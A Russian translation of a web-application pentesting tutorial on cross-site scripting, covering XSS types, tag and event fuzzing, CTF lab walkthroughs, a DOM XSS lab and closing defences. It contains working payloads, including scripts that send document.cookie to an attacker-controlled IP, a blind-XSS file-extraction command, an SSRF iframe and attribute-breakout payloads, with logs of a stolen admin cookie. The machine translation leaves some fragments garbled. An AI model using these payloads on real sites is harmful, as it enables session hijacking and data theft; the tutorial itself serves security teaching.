Поиск и использование XSS [Complete web app pentesting series #6]
Что такое XSS?
Распространённая уязвимость на стороне клиента, с которой мы часто сталкиваемся, — это межсайтовый скриптинг (XSS). Мы позволяем злоумышленнику внедрять вредоносный скрипт на наши веб-страницы, атакуя пользователей этих страниц. Эти скрипты вызываются в браузере жертвы и могут похищать конфиденциальную информацию, такую как файлы cookie и токены сеанса, или даже выполнять несанкционированные действия во время действий пользователя. XSS-атаки возникают из-за отсутствия проверки или очистки вводимых пользователем данных, что представляет собой серьёзную угрозу для веб-приложений.
Типы XSS
Существует несколько типов XSS, каждый из которых имеет свое собственное поведение: Stored XSS, Reflected XSS, DOM-based XSS, а также менее известный вариант — Blind XSS.
- Stored XSS. Это вредоносный код, который размещается на сервере (обычно в базе данных) и доставляется пользователю при открытии вредоносной страницы. Это крайне опасно, поскольку скрипт запускается при каждом просмотре страницы, обычно без взаимодействия с жертвой.
- Reflected XSS. Когда злоумышленник включает вредоносный скрипт в параметр URL, и этот параметр возвращается в браузер пользователя без очистки, это называется отражённым XSS. Такая атака представляет собой социальную инженерию и требует от злоумышленника обманным путём заставить жертву перейти по специально созданной ссылке для запуска атаки.
- DOM-based XSS. В XSS-атаке на основе DOM вредоносная нагрузка никогда не доходит до сервера. Однако уязвимость присутствует в коде JavaScript, который браузер выполняет. Несанкционированный пользовательский ввод используется для динамического изменения объектной модели документа (DOM), что приводит к XSS-атаке.
- Blind XSS. Особым типом хранимого XSS-атак, при которых полезная нагрузка злоумышленника хранится на сервере, но внутреннему пользователю (например, администратору), который позже просматривает скрипт, отображается только видимый результат. Злоумышленник не сразу осознаёт результат выполнения и делает это, используя инструменты для уведомления о срабатывании полезной нагрузки. Одна из форм XSS особенно полезна в ситуациях, когда панели администратора или внутренние панели мониторинга изначально не видны злоумышленникам.
Обратите внимание, что во всех типах xss
полезная нагрузка может быть одинаковой, но все зависит от того, как она обрабатывается.
- Если входные данные сохраняются на стороне сервера, это Stored XSS.
- Если атака немедленно отражается от сервера, это Reflected XSS.
- Если входные данные обрабатываются и выполняются в DOM браузера без взаимодействия с сервером, это основанный на DOM XSS.
- Blind XSS: полезная нагрузка активируется в другом приложении или контексте (например, в панели администратора), где злоумышленник не видит немедленного результата. Часто требуется дождаться, пока привилегированный пользователь взаимодействует с внедренной полезной нагрузкой.
Понимание тегов, событий и методологии фаззинга в тестировании XSS
Уязвимости межсайтового скриптинга (XSS) возникают, когда пользовательский ввод не обрабатывается должным образом, что даёт злоумышленнику возможность внедрить вредоносные скрипты на веб-страницу. Хороший способ выявления этих уязвимостей — изучить структуру HTML-тегов, события и провести фаззинг в точке внедрения.
Методология действительно проста, обычно пентестер использует и тестирует некоторые html
теги на различных http headers
и user input fields
чтобы увидеть, отражено ли это на веб-странице.
Перечитайте предыдущую строку пару раз, пока не усвоите её и не поймёте методологию. Сейчас иногда tags
может быть занесен в черный список, и для активации полезной нагрузки нам, возможно, даже придется включить events
вместе с тегами, чтобы активировать оповещение о наличии JavaScript в коде. Итак, мы начинаем с фаззинга на предмет разрешённых tags
и events
на webapp
или webpage
Это отличный способ начать тестирование. xss
.
Теперь некоторые из вас могут начать думать, что если приложение заносит в черный список любые угловые скобки или фильтрует скобки, в таком случае нам может потребоваться закодировать угловые скобки во что-то вроде html encoding
Не волнуйтесь, в следующих разделах мы увидим, как можно проверить xss
в мельчайших подробностях.
Что такое теги и события в XSS?
Основные строительные блоки веб-страниц называются HTML-тегами. Структура и содержание веб-страницы определяют, что будет на ней: текст, изображения, ссылки и так далее. Теги заключаются в угловые скобки ( < >
), например:
Поскольку в контексте XSS теги важны, внедрение новых тегов на страницу может изменить её структуру и поведение. Поэтому мы можем добавить <script>
тег, который выполнит код JavaScript на другой целевой странице.
События:
В HTML события (также известные как события, вызванные браузером или взаимодействием с пользователем) — это события, на которые может реагировать веб-страница. Атрибуты событий начинаются с on
и прикрепляются к элементам HTML для запуска функций JavaScript, таких как:
onclick
: Вызывается при щелчке по элементуonmouseover
: При наведении курсора мыши на элемент.onload
: Это запускается при загрузке и срабатывает после завершения загрузки изображения или страницы.
XSS-атака обычно реализуется через обработчики событий, поскольку она позволяет выполнять JavaScript без добавления новых тегов. Например:
<img src="example.jpg" onerror="alert('XSS')">
Здесь, onerror
событие запускает оповещение, если изображение не загружается.
Методология поиска XSS путем фаззинга тегов и событий
При тестировании на XSS-уязвимости следует подходить к ним системно: используйте фаззинг различных тегов и обработчиков событий, чтобы увидеть, как приложение на них реагирует. Вот пошаговая методология:
1: Базовые теги для неинтрузивного тестирования
Итак, сначала проверьте, может ли приложение принимать HTML-теги без их кодирования. Если вы хотите проверить, отображаются ли входные данные в формате HTML, используйте что-нибудь простое, например: <b>
в вашем теге.
<b>This is a test for XSS</b>
Если текст на веб-странице выделен жирным шрифтом, то, скорее всего, приложение не кодирует, например <
и >
Специальные символы — хорошая отправная точка. Используйте [шпаргалку по xss-коду portswigger](https:fuzz для ввода данных (см. //portswigger.net/web-security/cross-site-scripting/cheat-sheet)
2: Тестирование общих обработчиков событий
Далее попробуйте добавить обработчики событий к уже созданным HTML-элементам. Например:
<img error="alert('XSS')">
Если появляется окно с предупреждением, приложение уязвимо для XSS-атак на основе событий. Теперь мы можем использовать ту же шпаргалку для фаззинга событий.
3: Использование фаззинга с различными тегами и событиями и генерация собственной полезной нагрузки.
Используйте список тегов и событий из таких ресурсов, как «Шпаргалка по обходу XSS-фильтров» от OWASP или «Шпаргалка по XSS» от PortSwigger. Попробуйте различные комбинации:
Если вы знаете что-то о javascript
то это возможно, если вы создадите через tags
и/или events
или, по сути, если вы погуглите полезные нагрузки или просто используете любой из ваших любимых инструментов искусственного интеллекта, например chatgpt
, claude
и т.д. для создания полезных нагрузок с tags
и events
веб-приложение потребляет ресурсы.
4: Анализ ответа
Если вы просто вводите полезную нагрузку, проанализируйте, как приложение ее обрабатывает, и очень важно убедиться, что полезная нагрузка работает так, как задумано, и проверить, является ли она stored xss
, или reflected xss
. Stored xss означает, что XSS сохраняется на веб-сайте каждый раз, когда вы посещаете один и тот же веб-сайт, и отражается, если нет.
НЕ ИСПОЛЬЗУЙТЕ alert(1) для XSS
Наконец, пришло время увидеть следующую ошибку безопасности XSS: alert(1)
Устарело и бессмысленно без контекста. Полезная нагрузка может быть изолирована, чтобы оказывать достаточное влияние только на современные приложения. Вместо этого используйте такие функции, как alert(document.domain)
, console.log(window.origin)
, или fetch('https:To understand the vulnerability’s scope it can be understood by replacing yourserver.com with //yourserver.com/?c=' + document.cookie
XSS-тесты на основе DOM для вашего скрипта, который может манипулировать конфиденциальными данными или извлекать их, выполняются через window.location, localStorage или document.body.innerHTML. Дело не только в открытии всплывающего окна; для доказательства наличия XSS-уязвимости необходимо продемонстрировать реальный ущерб безопасности — кражу сеансовых cookie-файлов, переход на запрещённые домены или изменение самой страницы.
Некоторые XSS-атаки и полезные нагрузки из CTF
Кража cookie с помощью xss
Я наткнулся на эту технику, когда работал над устаревшим хакерским боксом под названием headless
, в котором мы крадем куки администратора, и для этого, если мы попытаемся внедрить код JavaScript в любую часть поля ввода, то он будет занесен в черный список, но если мы внедрим xss через http headers
мы можем вызвать xss.
Мы будем использовать следующую полезную нагрузку для запуска xss payload
.Обязательно замените свой IP-адрес в этом скрипте, который вы можете найти с помощью ifconfig
команда в Linux.
<script>var i=new Image(); i.src="http://10.10.14.6/?c="+document.cookie;</script>
Теперь убедитесь, что перед отправкой этой полезной нагрузки в веб-приложение ваш локальный сервер Python прослушивает нужный вам порт, чтобы мы могли восстановить соединение.
python -m http.server 80
Теперь мы получаем admin
cookie-файл пользователя, который мы можем использовать для кражи сеанса.
HTTP/1.1" 200 - 10.10.11.8 - - [11/Jul/2024 14:57:33] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 - 10.10.11.8 - - [11/Jul/2024 14:57:35] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
Blind XSS или использование XSS для извлечения файлов
Мы можем использовать скрипт Python, созданный Tyler Ramsbey
чтобы получить файл с удаленного веб-сайта, который уязвим для XSS
. Скрипт Python можно получить здесь.
Теперь скачайте и сохраните этот скрипт Python. Используйте следующую команду для создания вредоносного кода. script.js
который мы будем использовать против веб-сервера.
sudo python3 xss-extract.py -d /flag.txt -i 10.17.26.83:8000
Убедитесь, что вы вводите свой IP-адрес tryhackme, здесь я использовал свой. Прежде чем отправлять эту полезную нагрузку напрямую, скопируйте и вставьте её, но мы сделаем так, чтобы сервер вернул нам ответ, и мы сможем увидеть его ответ. Обратите внимание, что в отличие от отражённой XSS-атаке, мы не сможем увидеть ответ напрямую, но если мы настроим сервер Python или прослушиватель Netcat, то сможем получить ответ. Итак, давайте сделаем это.
sudo python3 -m http.server
Теперь используйте следующую полезную нагрузку в разделе обратной связи и проверьте свой сервер Python. Если вы все сделали правильно, то вы должны получить свой /flag.txt
файл с сайта.
/home/mccleod/tools via via v3.8.10 took 1m42s ❯ python3 -m http.server 8080 Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... 10.10.53.74 - - [14/Jan/2025 00:05:08] "GET /?c=THM{83789a69074f636f64a38879cfcabe8b62305ee6} HTTP/1.1" 200 - 10.10.53.74 - - [14/Jan/2025 00:05:08] "GET /?c=TypeError:%20Failed%20to%20fetch HTTP/1.1" 200 - 10.10.53.74 - - [14/Jan/2025 00:05:18] "GET /?c=THM{83789a69074f636f64a38879cfcabe8b62305ee6} HTTP/1.1" 200 - 10.10.53.74 - - [14/Jan/2025 00:05:19] "GET /?c=TypeError:%20Failed%20to%20fetch HTTP/1.1" 200 - ^C Keyboard interrupt received, exiting.
XSS в SSRF
Это очень просто и в то же время эффективно, мы можем использовать iframe
С помощью которого мы можем встроить другой HTML-документ в родительскую страницу. С помощью этого мы можем попытаться получить доступ к внутренним страницам сайта, и это работает. Как мы используем эту полезную нагрузку для решения и получения флага, если вас интересует эта комната, то посмотрите ее здесь.
<iframe src="http://localhost:5000/admin"></iframe>
Dom XSS
В этой лабораторной работе показана уязвимость межсайтового скриптинга (DOM XSS) на основе DOM в веб-приложении, которое использует пользовательский ввод из параметра запроса URL ( location.search
) через document.write
Злоумышленник может внедрить вредоносную полезную нагрузку в систему жертвы, запустив произвольный Javascript в браузере жертвы. В этой лабораторной работе мы успешно проэксплуатировали уязвимость, используя следующую полезную нагрузку:
"><svg onload=alert(1)>
DOM XSS возникает, когда JavaScript в браузере используется для анализа и выполнения вредоносного пользовательского ввода, не взаимодействуя с сервером. DOM XSS отличается от отраженного или сохраненного XSS; DOM XSS, скорее, является результатом манипуляций с DOM (объектной моделью документа) на стороне клиента. В частности, потоки данных, контролируемые пользователем, из источника (например, window.location
, document.cookie
) в раковину (например innerHTML
, document.write
), опасным образом.
Чтобы понять XSS на основе DOM, важно усвоить несколько основных концепций:
- Источник: Это источник ненадежного ввода в клиентском коде,
window.location
,document.cookie
илиlocalStorage
. - Sink: место выполнения кода JavaScript, и часто, если входные данные не проверяются, это может привести к XSS. Некоторые уязвимые функции JS:
innerHTML
,eval()
, илиdocument.write()
. - DOM: программный интерфейс для HTML- и XML-документов. Это структура веб-страницы, которую скрипт может использовать для динамического обновления содержимого и структуры.
Основные характеристики DOM XSS:
- Выполнение на стороне клиента: браузер выполняет всю обработку полезной нагрузки.
- Отсутствие отражения на стороне сервера: сервер не отправляет вредоносные входные данные в своем ответе.
- Источники(source) и приемники(sink): небезопасные источники (контролируемые пользователем входные данные) и sink (функции или методы, которые изменяют DOM) вызывают уязвимости.
Подход 1: Ручной метод
Источником в этой лаборатории является location.search
, который представляет строку запроса из URL-адреса.
var query = (new URLSearchParams(window.location.search)).get('search');
Этот фрагмент кода получает прямой ввод пользователя из параметра search
в строке запроса URL.
Sink
в нашей лаборатории является document.write
, который записывает HTML непосредственно в DOM. Этот приемник используется в следующей функции:
function trackSearch(query) { document.write('<img src="/resources/images/tracker.gif?searchTerms=' + query + '">'); }
Неочищенный пользовательский ввод (query
) конкатенируется в HTML и записывается в DOM, создавая уязвимую точку внедрения.
Шаги по выявлению и использованию DOM XSS
Мы можем определить DOM XSS, прочитав код веб-приложения на стороне клиента или посетив Chrome или инструменты разработчика браузера. С первого взгляда мы видим код javascript.
- Используйте инструменты разработчика браузера для проверки кода JavaScript.
- Ищите пользовательские входы, такие как
window.location
,document.cookie
илиlocalStorage
.
2. Отслеживание потока данных:
- Отслеживайте, как данные перемещаются от источника к приемнику (sink).
- Такие инструменты, как вкладка «Sources» в Chrome DevTools или Burp Suite, могут помочь отследить поток выполнения.
- Ищите такие функции, как document.write, innerHTML, eval или setTimeout.
- Проверьте, объединяются ли вводные данные пользователя или напрямую вставляются в эти методы.
4. Создайте полезную нагрузку:
- Используйте полезную нагрузку, соответствующую контексту (например, выход за пределы кавычек или тегов).
- Протестируйте с помощью безвредных полезных нагрузок, таких как
<svg onload=alert(1)>
, чтобы подтвердить уязвимость.
Эксплойтинг DOM XSS
Чтобы воспользоваться этой уязвимостью, наша цель состоит в том, чтобы внедрить вредоносный контент в параметр запроса и заставить его выполниться с помощью document.write sink
.
1. Контекст вставки: проанализируйте, где ввод вставляется в DOM. Здесь он вставляется в атрибут src тега изображения (<img>)
.
2. Нарушение контекста: используйте полезную нагрузку, которая выходит за пределы текущего атрибута HTML и вводит новый вредоносный контент. Для этой лабораторной работы рабочая полезная нагрузка:
?search="><svg onload=alert(1)>
">
: Выходит из атрибутаsrc
и закрывает тег<img>
.<svg onload=alert(1)>
: Вставляет новый тег<svg>
с событиемonload
, которое выполняетJavaScript
.
http://example.com/?search="><svg onload=alert(1)>
Когда этот полезный груз обрабатывается, результирующий DOM содержит вставленный тег <svg>
, который выполняет JavaScript, запуская alert(1)
.
Подход 2: Использование DOM INVADER
DOM Invader — это плагин для браузера Chromium, разработанный компанией Portswigger для поиска уязвимостей XSS в DOM веб-приложений.
1. Включите DOM Invader в Burp Suite: перейдите на вкладку «Расширения» в Burp Suite и убедитесь, что DOM Invader включен.
2. Активируйте DOM Invader: в браузере на поддерживаемых страницах вы увидите виджет DOM Invader. В вашем случае вам, возможно, не понадобится включать postmessage interception
.
Теперь перейдите к панели, щелкните правой кнопкой мыши, выберитеinspect
и нажмите на раздел DOM INVADER
, где вы увидите значение для проверки. Сначала скопируйте запрос и вставьте его в поле поиска.
Как только вы вставите текст, появится всплывающее окно DOM INVADER
с сообщением о том, что найден эксплойт, и если мы нажмем на него, откроется новая вкладка, которая решит задачу за нас.
Теперь мы использовали DOM XSS
с помощью DOM INVADER
Меры защиты от XSS
XSS возникает, когда непроверенный ввод отображается в браузере, выполняя вредоносный код. Типы: Reflected, Stored, DOM-based.
- Санитизация: Очищайте ввод, фильтруйте и кодируйте данные.
- HTTPOnly Cookies: Защищают куки от кражи.
- CSP (Content Security Policy): Ограничивает выполнение скриптов.
- Заголовки безопасности: Используйте X-XSS-Protection, Content-Type Options.
Примечание: В отчёте указывайте технические детали и рекомендации. Знание JavaScript помогает. Ссылайтесь на OWASP XSS Prevention Cheat Sheet.
Оригинальная статья | Перевод: THREAD